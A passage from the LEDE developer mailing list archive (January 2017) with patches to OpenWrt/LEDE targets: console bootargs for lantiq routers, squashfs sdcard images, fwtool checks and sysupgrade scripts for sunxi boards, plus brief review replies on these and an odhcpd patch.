+++ b/target/linux/lantiq/dts/H201L.dts
@@ -7,6 +7,10 @@
 / {
 	model = "H201L - ZTE H210L";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power_green;
 		led-failsafe = &power_green;
diff --git a/target/linux/lantiq/dts/P2601HNFX.dts b/target/linux/lantiq/dts/P2601HNFX.dts
index d9f94602d7..7bfd52cf57 100644
--- a/target/linux/lantiq/dts/P2601HNFX.dts
+++ b/target/linux/lantiq/dts/P2601HNFX.dts
@@ -7,6 +7,10 @@
 / {
 	model = "P2601HNFX - ZyXEL P-2601HN-Fx";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power_green;
 		led-failsafe = &power_red;
diff --git a/target/linux/lantiq/dts/P2812HNUFX.dtsi b/target/linux/lantiq/dts/P2812HNUFX.dtsi
index 14dcfd40bb..cc133f65ff 100644
--- a/target/linux/lantiq/dts/P2812HNUFX.dtsi
+++ b/target/linux/lantiq/dts/P2812HNUFX.dtsi
@@ -3,6 +3,10 @@
 #include <dt-bindings/input/input.h>
 
 / {
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power_green;
 		led-failsafe = &power_red;
diff --git a/target/linux/lantiq/dts/TDW89X0.dtsi b/target/linux/lantiq/dts/TDW89X0.dtsi
index 96ade58a8a..4252297df7 100644
--- a/target/linux/lantiq/dts/TDW89X0.dtsi
+++ b/target/linux/lantiq/dts/TDW89X0.dtsi
@@ -3,6 +3,10 @@
 #include <dt-bindings/input/input.h>
 
 / {
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		/* the power led can't be controlled, use the wps led instead */
 		led-boot = &wps;
diff --git a/target/linux/lantiq/dts/VG3503J.dts b/target/linux/lantiq/dts/VG3503J.dts
index 9cbb9753d7..d2a6136d4f 100644
--- a/target/linux/lantiq/dts/VG3503J.dts
+++ b/target/linux/lantiq/dts/VG3503J.dts
@@ -7,6 +7,10 @@
 / {
 	model = "VG3503J - BT OpenReach VDSL Modem";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power_green;
 		led-failsafe = &power_red;
diff --git a/target/linux/lantiq/dts/VGV7510KW22.dtsi b/target/linux/lantiq/dts/VGV7510KW22.dtsi
index e002c7daab..fa46e07670 100644
--- a/target/linux/lantiq/dts/VGV7510KW22.dtsi
+++ b/target/linux/lantiq/dts/VGV7510KW22.dtsi
@@ -4,7 +4,7 @@
 
 / {
 	chosen {
-		bootargs = "mem=62M vpe1_load_addr=0x83e00000 vpe1_mem=2M maxvpes=1 maxtcs=1";
+		bootargs = "console=ttyLTQ0,115200 mem=62M vpe1_load_addr=0x83e00000 vpe1_mem=2M maxvpes=1 maxtcs=1";
 	};
 
 	aliases {
diff --git a/target/linux/lantiq/dts/VGV7519.dtsi b/target/linux/lantiq/dts/VGV7519.dtsi
index fbb5ec4b5e..9080d8d997 100644
--- a/target/linux/lantiq/dts/VGV7519.dtsi
+++ b/target/linux/lantiq/dts/VGV7519.dtsi
@@ -4,7 +4,7 @@
 
 / {
 	chosen {
-		bootargs = "mem=62M vpe1_load_addr=0x83e00000 vpe1_mem=2M maxvpes=1 maxtcs=1";
+		bootargs = "console=ttyLTQ0,115200 mem=62M vpe1_load_addr=0x83e00000 vpe1_mem=2M maxvpes=1 maxtcs=1";
 	};
 
 	aliases {
diff --git a/target/linux/lantiq/dts/VR200v.dts b/target/linux/lantiq/dts/VR200v.dts
index 923a7d3c60..29d4279a6c 100644
--- a/target/linux/lantiq/dts/VR200v.dts
+++ b/target/linux/lantiq/dts/VR200v.dts
@@ -7,6 +7,10 @@
 / {
 	model = "VR200v - TP-LINK Archer VR200v";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power;
 		led-failsafe = &power;
diff --git a/target/linux/lantiq/dts/WBMR.dts b/target/linux/lantiq/dts/WBMR.dts
index 24fbc557fc..79d7b63bff 100644
--- a/target/linux/lantiq/dts/WBMR.dts
+++ b/target/linux/lantiq/dts/WBMR.dts
@@ -7,6 +7,10 @@
 / {
 	model = "WBMR - Buffalo WBMR-HP-G300H";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power_green;
 		led-failsafe = &power_red;
diff --git a/target/linux/lantiq/dts/WBMR300.dts b/target/linux/lantiq/dts/WBMR300.dts
index c0c5b7c013..d89e8a19db 100644
--- a/target/linux/lantiq/dts/WBMR300.dts
+++ b/target/linux/lantiq/dts/WBMR300.dts
@@ -7,6 +7,10 @@
 / {
 	model = "WBMR300 - Buffalo WBMR-300HPD";
 
+	chosen {
+		bootargs = "console=ttyLTQ0,115200";
+	};
+
 	aliases {
 		led-boot = &power_g;
 		led-failsafe = &diag_r;
-- 
2.11.0



From yszhou4tech at gmail.com  Wed Jan  4 06:19:28 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Wed,  4 Jan 2017 22:19:28 +0800
Subject: [LEDE-DEV] [PATCH v4 2/6] sunxi: make sdcard image with squashfs as
 rootfs
In-Reply-To: <1483539572-28674-1-git-send-email-yszhou4tech@gmail.com>
References: <1483539572-28674-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1483539572-28674-3-git-send-email-yszhou4tech@gmail.com>

Two things that need to be noted

 - There is no partition type id allocated for squashfs yet.  In the
   case of sunxi, any non-zero value should work and we keep it 83 (the
   value for ext4)
 - Remaining spare space within the rootfs partition, not the entire
   sdcard space will be formated as either f2fs or ext4 and mounted as
   overlay to serve the role of rootfs_data.

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 target/linux/sunxi/Makefile | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/target/linux/sunxi/Makefile b/target/linux/sunxi/Makefile
index cca3a14..b0bc1ba 100644
--- a/target/linux/sunxi/Makefile
+++ b/target/linux/sunxi/Makefile
@@ -10,7 +10,7 @@ include $(TOPDIR)/rules.mk
 ARCH:=arm
 BOARD:=sunxi
 BOARDNAME:=Allwinner A1x/A20/A3x
-FEATURES:=fpu usb ext4 display rtc
+FEATURES:=fpu usb ext4 display rtc squashfs
 CPU_TYPE:=cortex-a8
 CPU_SUBTYPE:=vfpv3
 MAINTAINER:=Zoltan HERPAI <wigyori at uid0.hu>
@@ -28,5 +28,6 @@ KERNELNAME:=zImage dtbs
 include $(INCLUDE_DIR)/target.mk
 
 DEFAULT_PACKAGES += uboot-envtools kmod-eeprom-sunxi kmod-wdt-sunxi
+DEFAULT_PACKAGES += mkf2fs e2fsprogs
 
 $(eval $(call BuildTarget))
-- 
2.6.4



From yszhou4tech at gmail.com  Wed Jan  4 06:19:30 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Wed,  4 Jan 2017 22:19:30 +0800
Subject: [LEDE-DEV] [PATCH v4 4/6] sunxi: use fwtool for checking sdcard
 images
In-Reply-To: <1483539572-28674-1-git-send-email-yszhou4tech@gmail.com>
References: <1483539572-28674-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1483539572-28674-5-git-send-email-yszhou4tech@gmail.com>

To achieve this, device tree compatible string was used as boardname and
the value of it will be checked against supported_devices list.

It should be noted that we do not distinguish between
sun5i-a13-olimex-som and sun5i-a13-olinuxino as they share the same dts
file.

The other thing is that we need to gunzip the generated firmware to do
fwtool check.

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 .../linux/sunxi/base-files/etc/board.d/02_network  |   4 +-
 .../base-files/lib/preinit/01_preinit_sunxi.sh     |   9 --
 .../sunxi/base-files/lib/preinit/02_b53_hack.sh    |   2 +-
 target/linux/sunxi/base-files/lib/sunxi.sh         | 140 ---------------------
 target/linux/sunxi/image/Makefile                  |  17 ++-
 5 files changed, 19 insertions(+), 153 deletions(-)
 delete mode 100644 target/linux/sunxi/base-files/lib/preinit/01_preinit_sunxi.sh

diff --git a/target/linux/sunxi/base-files/etc/board.d/02_network b/target/linux/sunxi/base-files/etc/board.d/02_network
index 74fa2a0..2b18748 100755
--- a/target/linux/sunxi/base-files/etc/board.d/02_network
+++ b/target/linux/sunxi/base-files/etc/board.d/02_network
@@ -9,10 +9,10 @@
 board_config_update
 
 case "$( sunxi_board_name )" in
-"olinuxino-micro"*)
+"olimex,a20-olinuxino-micro")
 	ucidef_set_interface_lan 'wlan0'
 	;;
-"lamobo-r1")
+"lamobo,lamobo-r1")
 	ucidef_add_switch "switch0" \
 		"4:lan:1" "0:lan:2" "1:lan:3" "2:lan:4" "3:wan" "8 at eth0"
 	;;
diff --git a/target/linux/sunxi/base-files/lib/preinit/01_preinit_sunxi.sh b/target/linux/sunxi/base-files/lib/preinit/01_preinit_sunxi.sh
deleted file mode 100644
index f221dbc..0000000
--- a/target/linux/sunxi/base-files/lib/preinit/01_preinit_sunxi.sh
+++ /dev/null
@@ -1,9 +0,0 @@
-#!/bin/sh
-
-do_sunxi() {
-        . /lib/sunxi.sh
-
-        sunxi_board_detect
-}
-
-boot_hook_add preinit_main do_sunxi
diff --git a/target/linux/sunxi/base-files/lib/preinit/02_b53_hack.sh b/target/linux/sunxi/base-files/lib/preinit/02_b53_hack.sh
index 84070de..7f508ff 100644
--- a/target/linux/sunxi/base-files/lib/preinit/02_b53_hack.sh
+++ b/target/linux/sunxi/base-files/lib/preinit/02_b53_hack.sh
@@ -4,7 +4,7 @@
 do_b53_hack() {
 	# hack: enable switch on Lamobo R1 and reset counters
 	case "$( sunxi_board_name )" in
-	"lamobo-r1")
+	"lamobo,lamobo-r1")
 		ifconfig eth0 up
 		sleep 1
 		swconfig dev switch0 set reset 1
diff --git a/target/linux/sunxi/base-files/lib/sunxi.sh b/target/linux/sunxi/base-files/lib/sunxi.sh
index ce1292b..dbb27fe 100644
--- a/target/linux/sunxi/base-files/lib/sunxi.sh
+++ b/target/linux/sunxi/base-files/lib/sunxi.sh
@@ -1,145 +1,5 @@
 #!/bin/sh
 
-# defaults
-SUNXI_BOARD_NAME="generic"
-SUNXI_BOARD_MODEL="Generic sunxi board"
-
-sunxi_board_detect() {
-	local board
-	local model
-
-	[ -e "/tmp/sysinfo/" ] || mkdir -p "/tmp/sysinfo/"
-
-	model="$( cat /proc/device-tree/model )"
-
-	case "$model" in
-		"Mele A1000")
-			board="a1000"
-			;;
-
-		"BA10 tvbox")
-			board="ba10-tvbox"
-			;;
-
-		"Cubietech Cubieboard")
-			board="cubieboard"
-			;;
-
-		"Miniand Hackberry")
-			board="hackberry"
-			;;
-
-		"INet-97F Rev 02")
-			board="inet97fv2"
-			;;
-
-		"PineRiver Mini X-Plus")
-			board="mini-xplus"
-			;;
-
-		"Olimex A10-OLinuXino-LIME")
-			board="olinuxino-lime"
-			;;
-
-		"LinkSprite pcDuino")
-			board="pcduino"
-			;;
-
-		"Olimex A10s-Olinuxino Micro")
-			board="olinuxino-micro"
-			;;
-
-		"R7 A10s hdmi tv-stick")
-			board="r7-tv-dongle"
-			;;
-
-		"HSG H702")
-			board="hsg-h702"
-			;;
-
-		"Olimex A13-Olinuxino")
-			board="olinuxino"
-			;;
-
-		"Olimex A13-Olinuxino Micro")
-			board="olinuxino-micro"
-			;;
-
-		"Allwinner A31 APP4 EVB1 Evaluation Board")
-			board="app4-evb1"
-			;;
-
-		"WITS A31 Colombus Evaluation Board")
-			board="colombus"
-			;;
-
-		"Merrii A31 Hummingbird")
-			board="hummingbird"
-			;;
-
-		"Mele M9 / A1000G Quad top set box")
-			board="m9"
-			;;
-
-		"LeMaker Banana Pi")
-			board="bananapi"
-			;;
-
-		"LeMaker Banana Pro")
-			board="bananapro"
-			;;
-
-		"Cubietech Cubieboard2")
-			board="cubieboard2"
-			;;
-
-		"Cubietech Cubietruck")
-			board="cubietruck"
-			;;
-
-		"Merrii A20 Hummingbird")
-			board="hummingbird"
-			;;
-
-		"I12 / Q5 / QT840A A20 tvbox")
-			board="i12-tvbox"
-			;;
-
-		"Lamobo R1")
-			board="lamobo-r1"
-			;;
-
-		"Olimex A20-OLinuXino-LIME")
-			board="olinuxino-lime"
-			;;
-
-		"Olimex A20-Olinuxino Micro")
-			board="olinuxino-a20-micro"
-			;;
-
-		"LinkSprite pcDuino3")
-			board="pcduino3"
-			;;
-
-		"Ippo Q8H Dual Core Tablet (v5)")
-			board="ippo-q8h-v5"
-			;;
-	esac
-
-	if [ "$board" != "" ]; then
-		SUNXI_BOARD_NAME="$board"
-	fi
-
-	if [ "$model" != "" ]; then
-		SUNXI_BOARD_MODEL="$model"
-	fi
-
-
-	echo "$SUNXI_BOARD_NAME" > /tmp/sysinfo/board_name
-	echo "$SUNXI_BOARD_MODEL" > /tmp/sysinfo/model
-	echo "Detected $SUNXI_BOARD_NAME // $SUNXI_BOARD_MODEL"
-}
-
 sunxi_board_name() {
 	local name
 
diff --git a/target/linux/sunxi/image/Makefile b/target/linux/sunxi/image/Makefile
index 07beb03..bc696cf 100644
--- a/target/linux/sunxi/image/Makefile
+++ b/target/linux/sunxi/image/Makefile
@@ -37,12 +37,13 @@ define Device/Default
   KERNEL_NAME := zImage
   KERNEL := kernel-bin | uImage none
   IMAGES := sdcard.img.gz
-  IMAGE/sdcard.img.gz := sunxi-sdcard | gzip
+  IMAGE/sdcard.img.gz := sunxi-sdcard | append-metadata | gzip
 endef
 
 define Device/sun4i-a10-olinuxino-lime
   DEVICE_TITLE:=Olimex A10-OLinuXino-LIME
   DEVICE_PACKAGES:=uboot-sunxi-A10-OLinuXino-Lime kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
+  SUPPORTED_DEVICES:=olimex,a10-olinuxino-lime
   SUNXI_DTS:=sun4i-a10-olinuxino-lime
   SUNXI_UBOOT:=A10-OLinuXino-Lime
 endef
@@ -53,6 +54,7 @@ TARGET_DEVICES += sun4i-a10-olinuxino-lime
 define Device/sun5i-a13-olimex-som
   DEVICE_TITLE:=Olimex A13 SOM
   DEVICE_PACKAGES:=uboot-sunxi-OLIMEX_A13_SOM kmod-rtl8192cu
+  SUPPORTED_DEVICES:=olimex,a13-olinuxino
   SUNXI_DTS:=sun5i-a13-olinuxino
   SUNXI_UBOOT:=OLIMEX_A13_SOM
 endef
@@ -63,6 +65,7 @@ TARGET_DEVICES += sun5i-a13-olimex-som
 define Device/sun5i-a13-olinuxino
   DEVICE_TITLE:=Olimex A13-Olinuxino
   DEVICE_PACKAGES:=uboot-sunxi-A13-OLinuXino kmod-rtl8192cu
+  SUPPORTED_DEVICES:=olimex,a13-olinuxino
   SUNXI_DTS:=sun5i-a13-olinuxino
   SUNXI_UBOOT:=A13-OLinuXino
 endef
@@ -73,6 +76,7 @@ TARGET_DEVICES += sun5i-a13-olinuxino
 define Device/sun7i-a20-olinuxino-lime
   DEVICE_TITLE:=Olimex A20-OLinuXino-LIME
   DEVICE_PACKAGES:=uboot-sunxi-A20-OLinuXino-Lime kmod-ata-core kmod-ata-sunxi kmod-rtc-sunxi
+  SUPPORTED_DEVICES:=olimex,a20-olinuxino-lime
   SUNXI_DTS:=sun7i-a20-olinuxino-lime
   SUNXI_UBOOT:=A20-OLinuXino-Lime
 endef
@@ -83,6 +87,7 @@ TARGET_DEVICES += sun7i-a20-olinuxino-lime
 define Device/sun7i-a20-olinuxino-micro
   DEVICE_TITLE:=Olimex A20-Olinuxino Micro
   DEVICE_PACKAGES:=uboot-sunxi-A20-OLinuXino_MICRO kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
+  SUPPORTED_DEVICES:=olimex,a20-olinuxino-micro
   SUNXI_DTS:=sun7i-a20-olinuxino-micro
   SUNXI_UBOOT:=A20-OLinuXino_MICRO
 endef
@@ -93,6 +98,7 @@ TARGET_DEVICES += sun7i-a20-olinuxino-micro
 define Device/sun7i-a20-bananapi
   DEVICE_TITLE:=LeMaker Banana Pi
   DEVICE_PACKAGES:=uboot-sunxi-Bananapi kmod-rtc-sunxi kmod-ata-core kmod-ata-sunxi
+  SUPPORTED_DEVICES:=lemaker,bananapi
   SUNXI_DTS:=sun7i-a20-bananapi
   SUNXI_UBOOT:=Bananapi
 endef
@@ -103,6 +109,7 @@ TARGET_DEVICES += sun7i-a20-bananapi
 define Device/sun7i-a20-bananapro
   DEVICE_TITLE:=LeMaker Banana Pro
   DEVICE_PACKAGES:=uboot-sunxi-Bananapro kmod-rtc-sunxi kmod-ata-core kmod-ata-sunxi kmod-brcmfmac
+  SUPPORTED_DEVICES:=lemaker,bananapro
   SUNXI_DTS:=sun7i-a20-bananapro
   SUNXI_UBOOT:=Bananapro
 endef
@@ -113,6 +120,7 @@ TARGET_DEVICES += sun7i-a20-bananapro
 define Device/sun7i-a20-cubieboard2
   DEVICE_TITLE:=Cubietech Cubieboard2
   DEVICE_PACKAGES:=uboot-sunxi-Cubieboard2 kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
+  SUPPORTED_DEVICES:=cubietech,cubieboard2
   SUNXI_DTS:=sun7i-a20-cubieboard2
   SUNXI_UBOOT:=Cubieboard2
 endef
@@ -123,6 +131,7 @@ TARGET_DEVICES += sun7i-a20-cubieboard2
 define Device/sun4i-a10-cubieboard
   DEVICE_TITLE:=Cubietech Cubieboard
   DEVICE_PACKAGES:=uboot-sunxi-Cubieboard kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
+  SUPPORTED_DEVICES:=cubietech,a10-cubieboard
   SUNXI_DTS:=sun4i-a10-cubieboard
   SUNXI_UBOOT:=Cubieboard
 endef
@@ -133,6 +142,7 @@ TARGET_DEVICES += sun4i-a10-cubieboard
 define Device/sun7i-a20-cubietruck
   DEVICE_TITLE:=Cubietech Cubietruck
   DEVICE_PACKAGES:=uboot-sunxi-Cubietruck kmod-ata-core kmod-ata-sunxi kmod-rtc-sunxi kmod-brcmfmac
+  SUPPORTED_DEVICES:=cubietech,cubietruck
   SUNXI_DTS:=sun7i-a20-cubietruck
   SUNXI_UBOOT:=Cubietruck
 endef
@@ -143,6 +153,7 @@ TARGET_DEVICES += sun7i-a20-cubietruck
 define Device/sun7i-a20-lamobo-r1
   DEVICE_TITLE:=Lamobo R1
   DEVICE_PACKAGES:=uboot-sunxi-Lamobo_R1 kmod-ata-sunxi kmod-rtl8192cu swconfig wpad-mini
+  SUPPORTED_DEVICES:=lamobo,lamobo-r1
   SUNXI_DTS:=sun7i-a20-lamobo-r1
   SUNXI_UBOOT:=Lamobo_R1
 endef
@@ -153,6 +164,7 @@ TARGET_DEVICES += sun7i-a20-lamobo-r1
 define Device/sun6i-a31-m9
   DEVICE_TITLE:=Mele M9 top set box
   DEVICE_PACKAGES:=uboot-sunxi-Mele_M9 kmod-sun4i-emac kmod-rtc-sunxi kmod-rtl8192cu
+  SUPPORTED_DEVICES:=mele,m9
   SUNXI_DTS:=sun6i-a31-m9
   SUNXI_UBOOT:=Mele_M9
 endef
@@ -163,6 +175,7 @@ TARGET_DEVICES += sun6i-a31-m9
 define Device/sun8i-h3-orangepi-plus
   DEVICE_TITLE:=Xunlong Orange Pi Plus
   DEVICE_PACKAGES:=kmod-rtc-sunxi uboot-sunxi-orangepi_plus
+  SUPPORTED_DEVICES:=xunlong,orangepi-plus
   SUNXI_DTS:=sun8i-h3-orangepi-plus
   SUNXI_UBOOT:=orangepi_plus
 endef
@@ -173,6 +186,7 @@ TARGET_DEVICES += sun8i-h3-orangepi-plus
 define Device/sun7i-a20-pcduino3
   DEVICE_TITLE:=LinkSprite pcDuino3
   DEVICE_PACKAGES:=uboot-sunxi-Linksprite_pcDuino3 kmod-sun4i-emac kmod-rtc-sunxi kmod-ata-core kmod-ata-sunxi kmod-rtl8xxxu rtl8188eu-firmware
+  SUPPORTED_DEVICES:=linksprite,pcduino3
   SUNXI_DTS:=sun7i-a20-pcduino3
   SUNXI_UBOOT:=Linksprite_pcDuino3
 endef
@@ -183,6 +197,7 @@ TARGET_DEVICES += sun7i-a20-pcduino3
 define Device/sun4i-a10-pcduino
   DEVICE_TITLE:=LinkSprite pcDuino
   DEVICE_PACKAGES:=uboot-sunxi-Linksprite_pcDuino kmod-sun4i-emac kmod-rtc-sunxi kmod-rtl8192cu
+  SUPPORTED_DEVICES:=linksprite,a10-pcduino
   SUNXI_DTS:=sun4i-a10-pcduino
   SUNXI_UBOOT:=Linksprite_pcDuino
 endef
-- 
2.6.4



From karlp at tweak.net.au  Wed Jan  4 03:50:10 2017
From: karlp at tweak.net.au (Karl Palsson)
Date: Wed, 04 Jan 2017 11:50:10 -0000
Subject: [LEDE-DEV] [RFC PATCH odhcpd] config: respect ignore uci option
In-Reply-To: <20170103130908.16868-1-jo@mein.io>
References: <20170103130908.16868-1-jo@mein.io>
Message-ID: <QgIXJgmqog5jgituHPzg2dKadHpUE6XacYi2yZmP2189@mailpile>


Jo-Philipp Wich <jo at mein.io> wrote:
> The odhcpd documentation currently implies that "option ignore
> 1" in a section of type "dhcp" will disable any services on the
> referenced interface while the code actually ignores the
> setting when initializing referenced interfaces.
> 
> This commonly leads to situations where users think that
> "option disabled" will prevent any server activity on a given
> interface while in reality odhcpd effectively acts as rogue
> DHCPv6 server in its default configuration.
> 
> To fully inhibit any activity, one has to specify both "option
> ignore 1" as well as "option ra disabled", "option ndp
> disabled" and "option dhcpv6 disabled" which is highly counter
> intuitive at best.
> 
> A previous commit (5f425ed Respect interface "ignore" settings
> as documented.) attempted to address the problem by observing
> the value of i->ignore instead of unconditionally enabling all
> protocols but broke the ability to use DHCPv6 relay mode while
> having DHCPv4 disabled.
> 
> This patch changes ...
> 
>  - the enabling of services on an interface to use the value of the ignore
>    option as default choice instead of hardcoding "true"
> 
>  - the options "ra", "ndp", "dhcpv4" and "dhcpv6" to take precedence over the
>    default "ignore" state to allow selectively enabling services on ignored
>    interfaces
> 
>  - the README to clarify the fact that "ra", "ndp", "dhcpv4" and "dhcpv6" can
>    now override "option ignore"
> 
> Signed-off-by: Jo-Philipp Wich <jo at mein.io>
> ---

Acked-by: Karl Palsson <karlp at etactica.com>

Not tested, but I support a future where "ignore" ignores :)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 819 bytes
Desc: OpenPGP Digital Signature
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170104/1d19ec52/attachment.sig>

From yszhou4tech at gmail.com  Wed Jan  4 06:19:29 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Wed,  4 Jan 2017 22:19:29 +0800
Subject: [LEDE-DEV] [PATCH v4 3/6] sunxi: add sysupgrade support
In-Reply-To: <1483539572-28674-1-git-send-email-yszhou4tech@gmail.com>
References: <1483539572-28674-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1483539572-28674-4-git-send-email-yszhou4tech@gmail.com>

Enalbe builtin support for FAT filesystem as we need to mount boot
partition to store sysupgrade.tgz there

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 .../sunxi/base-files/lib/preinit/79_move_config    | 20 +++++++
 .../linux/sunxi/base-files/lib/upgrade/platform.sh | 67 ++++++++++++++++++++++
 target/linux/sunxi/config-4.4                      |  4 ++
 3 files changed, 91 insertions(+)
 create mode 100644 target/linux/sunxi/base-files/lib/preinit/79_move_config
 create mode 100644 target/linux/sunxi/base-files/lib/upgrade/platform.sh

diff --git a/target/linux/sunxi/base-files/lib/preinit/79_move_config b/target/linux/sunxi/base-files/lib/preinit/79_move_config
new file mode 100644
index 0000000..c112588
--- /dev/null
+++ b/target/linux/sunxi/base-files/lib/preinit/79_move_config
@@ -0,0 +1,20 @@
+#!/bin/sh
+# Copyright (C) 2012-2015 OpenWrt.org
+
+move_config() {
+	local partdev
+
+	. /lib/upgrade/common.sh
+
+	if export_bootdevice && export_partdevice partdev -1; then
+		if mount -t vfat -o rw,noatime "/dev/$partdev" /mnt; then
+			if [ -f /mnt/sysupgrade.tgz ]; then
+				mv -f /mnt/sysupgrade.tgz /
+			fi
+			umount /mnt
+		fi
+	fi
+}
+
+boot_hook_add preinit_mount_root move_config
+
diff --git a/target/linux/sunxi/base-files/lib/upgrade/platform.sh b/target/linux/sunxi/base-files/lib/upgrade/platform.sh
new file mode 100644
index 0000000..f2cd970
--- /dev/null
+++ b/target/linux/sunxi/base-files/lib/upgrade/platform.sh
@@ -0,0 +1,67 @@
+platform_check_image() {
+	true
+}
+
+platform_copy_config() {
+	local partdev
+
+	if export_partdevice partdev -1; then
+		mount -t vfat -o rw,noatime "/dev/$partdev" /mnt
+		cp -af "$CONF_TAR" /mnt/
+		umount /mnt
+	fi
+}
+
+platform_do_upgrade() {
+	local diskdev partdev ibs diff
+
+	if export_bootdevice && export_partdevice diskdev -2; then
+		sync
+		if [ "$SAVE_PARTITIONS" = "1" ]; then
+			get_partitions "/dev/$diskdev" bootdisk
+
+			#get block size
+			if [ -f "/sys/block/$diskdev/queue/physical_block_size" ]; then
+				ibs="$(cat "/sys/block/$diskdev/queue/physical_block_size")"
+			else
+				ibs=512
+			fi
+
+			#extract the boot sector from the image
+			get_image "$@" | dd of=/tmp/image.bs count=1 bs=512b
+
+			get_partitions /tmp/image.bs image
+
+			#compare tables
+			diff="$(grep -F -x -v -f /tmp/partmap.bootdisk /tmp/partmap.image)"
+			if [ -n "$diff" ]; then
+				echo "Partition layout is changed.  Full image will be written."
+				ask_bool 0 "Abort" && exit
+
+				get_image "$@" | dd of="/dev/$diskdev" bs=4096 conv=fsync
+				return 0
+			fi
+
+			#write uboot image
+			get_image "$@" | dd of="$diskdev" bs=1024 skip=8 seek=8 conv=notrunc
+			#iterate over each partition from the image and write it to the boot disk
+			while read part start size; do
+				part="$(($part - 2))"
+				if export_partdevice partdev $part; then
+					echo "Writing image to /dev/$partdev..."
+					get_image "$@" | dd of="/dev/$partdev" ibs="$ibs" obs=1M skip="$start" count="$size" conv=fsync
+				else
+					echo "Unable to find partition $part device, skipped."
+				fi
+			done < /tmp/partmap.image
+
+			#copy partition uuid
+			echo "Writing new UUID to /dev/$diskdev..."
+			get_image "$@" | dd of="/dev/$diskdev" bs=1 skip=440 count=4 seek=440 conv=fsync
+		else
+			get_image "$@" | dd of="/dev/$diskdev" bs=4096 conv=fsync
+		fi
+
+		sleep 1
+	fi
+}
diff --git a/target/linux/sunxi/config-4.4 b/target/linux/sunxi/config-4.4
index 816f44a..2253afa 100644
--- a/target/linux/sunxi/config-4.4
+++ b/target/linux/sunxi/config-4.4
@@ -162,6 +162,7 @@ CONFIG_F2FS_FS=y
 # CONFIG_F2FS_FS_SECURITY is not set
 CONFIG_F2FS_FS_XATTR=y
 CONFIG_F2FS_STAT_FS=y
+CONFIG_FAT_FS=y
 CONFIG_FB=y
 CONFIG_FB_CFB_COPYAREA=y
 CONFIG_FB_CFB_FILLRECT=y
@@ -347,6 +348,8 @@ CONFIG_NET_FLOW_LIMIT=y
 CONFIG_NET_PTP_CLASSIFY=y
 CONFIG_NET_VENDOR_ALLWINNER=y
 CONFIG_NLS=y
+CONFIG_NLS_CODEPAGE_437=y
+CONFIG_NLS_ISO8859_1=y
 CONFIG_NO_BOOTMEM=y
 CONFIG_NO_HZ=y
 CONFIG_NO_HZ_COMMON=y
@@ -526,6 +529,7 @@ CONFIG_USERIO=y
 CONFIG_USE_OF=y
 CONFIG_VDSO=y
 CONFIG_VECTORS_BASE=0xffff0000
+CONFIG_VFAT_FS=y
 CONFIG_VFP=y
 CONFIG_VFPv3=y
 CONFIG_VHOST=y
-- 
2.6.4



From nbd at nbd.name  Wed Jan  4 06:42:22 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Wed, 4 Jan 2017 15:42:22 +0100
Subject: [LEDE-DEV] [PATCH v4 0/6] sunxi: rework image build and
 sysupgrade support
In-Reply-To: <1483539572-28674-1-git-send-email-yszhou4tech@gmail.com>
References: <1483539572-28674-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <45e9514f-1954-b377-fac4-cc849016f237@nbd.name>

On 2017-01-04 15:19, Yousong Zhou wrote:
> This series mainly tries achieve the following goals
> 
>  - use new image generation method
>  - squashfs sdcard image support
>  - mkfs.f2fs or mkfs.ext4 remaining space within squashfs rootfs partition and
>    mount it as rw overlay
>  - sysupgrade with fwtool check support
> 
> Device profiles are automatically generated with a helper makefile.  Names for
> image files, board_names, etc. are changed to try to use basename of kernel dts
> file for the specific device.
> 
> Run-tested with cubietech,cubieboard2, compile-tested others
Merged to my staging tree, thanks.

I made some modifications though:
Since patch 1 deletes an existing default profile and patch 6 adds a new
one, I've folded patch 6 into 1 and put patch 5 first (because of
dependencies).

- Felix


From yszhou4tech at gmail.com  Wed Jan  4 06:19:32 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Wed,  4 Jan 2017 22:19:32 +0800
Subject: [LEDE-DEV] [PATCH v4 6/6] sunxi: define a Default profile
In-Reply-To: <1483539572-28674-1-git-send-email-yszhou4tech@gmail.com>
References: <1483539572-28674-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1483539572-28674-7-git-send-email-yszhou4tech@gmail.com>

Then the default package set was generated by sort | uniq all current
available device packages and the result set seems tamable

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 target/linux/sunxi/profiles/00-default.mk | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)
 create mode 100644 target/linux/sunxi/profiles/00-default.mk

diff --git a/target/linux/sunxi/profiles/00-default.mk b/target/linux/sunxi/profiles/00-default.mk
new file mode 100644
index 0000000..b7ecfb0
--- /dev/null
+++ b/target/linux/sunxi/profiles/00-default.mk
@@ -0,0 +1,28 @@
+#
